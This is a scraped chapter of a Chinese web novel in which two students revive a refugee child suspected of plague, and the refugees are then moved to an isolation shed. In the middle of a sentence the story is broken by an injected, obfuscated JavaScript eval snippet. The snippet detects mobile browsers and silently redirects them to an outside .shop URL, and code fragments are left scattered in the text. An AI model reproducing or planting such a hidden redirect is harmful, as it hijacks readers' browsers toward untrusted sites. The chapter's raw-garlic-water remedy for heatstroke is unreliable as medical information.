文趣网 > 都市小说 > 同窗师妹不开窍 > 22. 中暑
    此言一出,一旁立着的几位学子面上浮现惊恐之色,下意识后退几步。

    宁良月高声道:“诸位且听我一言,先前我与祖父南下时,恰好亲眼所见瘟疫,病患得瘟疫时往往会高热寒战,上吐下泻,身上会起出斑疹。你们看这小童可有这些症状?”

    众人惊疑不定,听了宁良月的话,仔细去瞧那小童,小童双目紧闭,胸口剧烈起伏,喘气粗重,的确没有呕吐、斑疹,他们不禁略略松了口气。

    云舒皱眉道:“宁公子,你又何必帮沈竹石说话?若是出了意外,那可如何是好?”

    宁良月望向云舒,神色凛然:“我并非是为谁说话,此次旱灾横行,百姓流离失所,能多救下一人便多救下一人,更何况这小童并未患上瘟疫,难道要眼睁睁看着她死吗?”

    宁良月这番话掷地有声,慷慨激昂,像一记重锤狠狠砸在在场每个人心口,又麻又涩,浑不是滋味。

    不少学子面上讪讪,似乎对自己方才的慌乱感到羞愧,而那几位后退的学子正在此列。

    沈竹石定定望向他们,道:“抱歉,方才是我考虑不周了,可否劳几位同窗取来布巾和水,再捣些生蒜兑水,远远放着便可,这样也能保证诸位的安全。”

    这话无疑是给几人递了个台阶,他们顺着坡便麻利往下滚了,飞奔着去取了水,远远放在一边。

    “姐姐,我帮……”男孩正欲上手,帮沈竹石一起扶起自家小妹。

    岂知,沈竹石一把将小妹抱起,动作轻松,脸不红气不喘,径直向树荫底下走去,仿佛怀中抱的不是一个人,而是一团棉花。

    眼前的画面太过震撼,男孩整个人都惊呆了,在他印象中的世家小姐不都是娇滴滴、弱不禁风的模样嘛?这位姐姐与其他小姐着实不同。

    “水……”沈竹石皱眉道。

    “好,马上就……”男孩如梦初醒,慌慌张张应道。

    还未等他提来水,宁良月已经提来了远处安放好的水桶和巾帕,手脚麻利地把帕子沾湿,交给沈竹石。

    沈竹石头也不回地接过巾帕,松开小童的衣领,俯身细细为其擦拭额头与两侧腋下。

    巾帕擦热后,沈竹石又递还给宁良月浸水绞干,如此重复多回后,小童的呼吸逐渐平息,不再急促。

    沈竹石端过生蒜水,还未说话,宁良月仿佛有心灵感应般取了木勺撬开小童的牙关,只等沈竹石灌下蒜水。

    二人全程未有一句交流,动作熟稔,配合默契,像是合作多年的搭档,不消一个眼神,宁良月便能意会沈竹石下一步的行为。

    一碗蒜水下肚,片刻后,小童闷哼一声,眼皮微动,幽幽转醒。

    “小妹!”男孩喜极而泣,擦擦眼泪扑上前,“你感觉好点了吗?”

    小童目光仍有些涣散,呆呆望向沈竹石,缓了一阵,方才徐徐转向男孩,弱弱喊了一声:“哥哥……”

    男孩大喜,见小妹已然恢复意识,忙向沈竹石、宁良月二人跪下,磕头道谢:“多谢沈小姐、宁公子救我家小妹一命,小人王沅感激不尽,今后定当当牛做马,回报二人救命之恩!”

    沈竹石见状,连忙扶起王沅,道:“不过是举手之劳,报恩就不必了,你们兄妹二人一路走来也不容易。”

    宁良月道:“正是如此,我二人不过是略尽绵薄之力,换做是谁,我们都会尽力去救。”

    王沅眼眶红红,不住摇头,低低道:“不一样的,不一样的……”

    他们一路走来不知受了多少白眼苦楚,流民到哪里都是被嫌弃驱赶的,从来没有人顶着疑似瘟疫的风险,不遗余力地帮助过他们。

    沈竹石也是经过流亡的,知晓其中坎坷,也明白王沅的意思,长叹一口气,摸了摸王沅的头:“今后好生带着妹妹生活便是,有家人陪在身侧就已经很好了。”

    王沅吸吸鼻子,重重点头:“沈小姐,我知晓的!”

    正在这时,人群中一阵骚动,不知是谁喊了一句:“大夫来了!”

    人群迅速朝两侧分开,空出一条道来,大夫手提药箱,面上严严实实覆了一层绢巾,遮住口鼻,一副如临大敌、全副武装的模样。

    这大夫是林培风与桑若去城中寻的,在此之前,沈竹石就已经与他们交代好,兵分两路,由她先去查看情况,而他们则去城中找大夫。

    不过二人并不清楚小童的真实情况,仍是万分紧张,与大夫同样戴了防止染上瘟疫的绢巾,并着人一同分发绢巾,以免大面积传染扩散。

    大夫搭上小童的手腕,沉吟片刻,松了口气,立起身,道:“各位莫要慌乱,这小童并未染上瘟疫,不过是中暑罢了。”

    说罢,转过身看向宁良月、沈竹石二人,赞许地点点头:“公子小姐处理得极好,这小童已无大恙,后面将养几日便可大好了。”

    忽然,大夫瞳孔一缩,转了话头:“不过,为了保险起见,老夫认为还是得将这小童和与这小童接触过的人迁移到庵庐隔开才好。”

    庵庐是专门为灾后患上瘟疫的流民所临时搭建的草棚,将病人与未患病的流民隔开,以免大规模扩散,但若是真被丢进庵庐,病人约莫也是凶多吉少了。

    但沈竹石仍然不解,皱眉道:“大夫您也把过脉了,这小童并未患上瘟疫,又何必多此一举将大家安置在庵庐,若是进了庵庐,反而感染上瘟疫,怕是更加凶多吉少。”

    “沈小姐莫要误会,彭城先前并无发生过瘟疫,庵庐是安全的,不必担心会被染上疫病。如今城外人眼混杂,一旦真有疏漏,便是大片瘟疫,此番迁去庵庐暂住几日,若无呕吐发热的症状,便可安然入城。”大夫缓缓解释道。

    在场流民一听,双眼发亮:“大夫,您的意思是只要没染上瘟疫,到时候出了庵庐就能直接让我们入城吗?”

    大夫颔首:“正是此意。而且在庵庐的几

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846099|209332||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    日每天都会有专人分发吃食。”

    话音刚落,人群中窃窃私语声乍起,每个流民的面上闪烁兴奋的神情,又能吃饭又能进城,总比留守在城外没吃没喝,风吹日晒的好,不过是去庵庐住几日,就连大夫都说了那边没有瘟疫,那还有什么犹豫的,去!

    一只只手臂接连举起:“大夫,我与这小童接触过!”

    “大夫,我我我我刚吃了这小童喝过的粥!”

    “大夫!还有我!”

    ……

    一时之间,场面混乱,人声鼎沸,又能进城又有吃食的诱惑对于长途跋涉的流民来说太有诱惑力了,就像面前摆上了一盘炙肉,让人无法拒绝,让他们干什么,他们就干什么。

    “二位也需要移步庵庐。”大夫道。

    宁良月和沈竹石对视一眼:“自然。”

    他们不知这大夫是想做什么,明明先前还是一切正常,刚刚却脸色忽变,改了话风,想来是受了什么人的指使,但当时人潮涌动,混乱至极,他们并未看到那传递消息之人,而现在又抛出各种好处,引诱流民去庵庐,事出反常必有妖!

    “阿竹,宁兄!怎么你们也要去?大夫,有没有搞错?他们只是来帮忙的!”林培风苦着张脸嚷嚷道。

    “我们与这小童接触过,自然也需要去庵庐,这样对大家都好。林兄不必担心,阿竹有我照顾。”宁良月道。

    待官兵清点好一众人,一行人浩浩荡荡向庵庐走去,流民面上含笑,怀揣着能够进城的憧憬,只有男孩背着小童,一脸愧疚:“对不起,宁公子、沈小姐都是我二人拖累了你们,不然你们也不用进庵庐过苦日子。”

    他自然知道对于他们来说能住在这庵庐是再好不过的了,算得上是他们大半年来最好的住处,可对于宁、沈二人,这应该就是从京城世家到贫民窟的差别,日子定然不会好过。

    宁良月轻轻摇头:“你莫要愧疚,此事与你无关,不过是遵守制度罢了。”

    与此同时,县衙内。

    周立脸色骤变,差点摔碎手中的茶盏:“你说宁公子和沈小姐接触过疑似瘟疫的流民,现在也安置到庵庐去了?!”

    堂下小吏默默擦去额角的汗珠,道:“是。”

    周立如无头苍蝇般在堂内踱步:“这可如何是好?这群公子小姐一个个的都是出身名门望族,若是在我这出了什么岔子,快,传令下去,宁公子、沈小姐所居的屋子定要打扫干净,有什么要求都尽量满足!”

    小吏拱手道:“是!”,说罢,又安慰道:“大人不必如此忧心,那小童照大夫所说并未患上瘟疫,只是中暑,以防万一才安置到庵庐去的。”

    周立一屁股坐下,一手撑着额头,甚是苦恼:“怎么?难道你能保证一定不会出事吗?快快快,再去把梅夫子叫来,这事我还得与他分说明白。”

    “不必了,我已经来了。”堂外传来一道沉稳苍老的声音。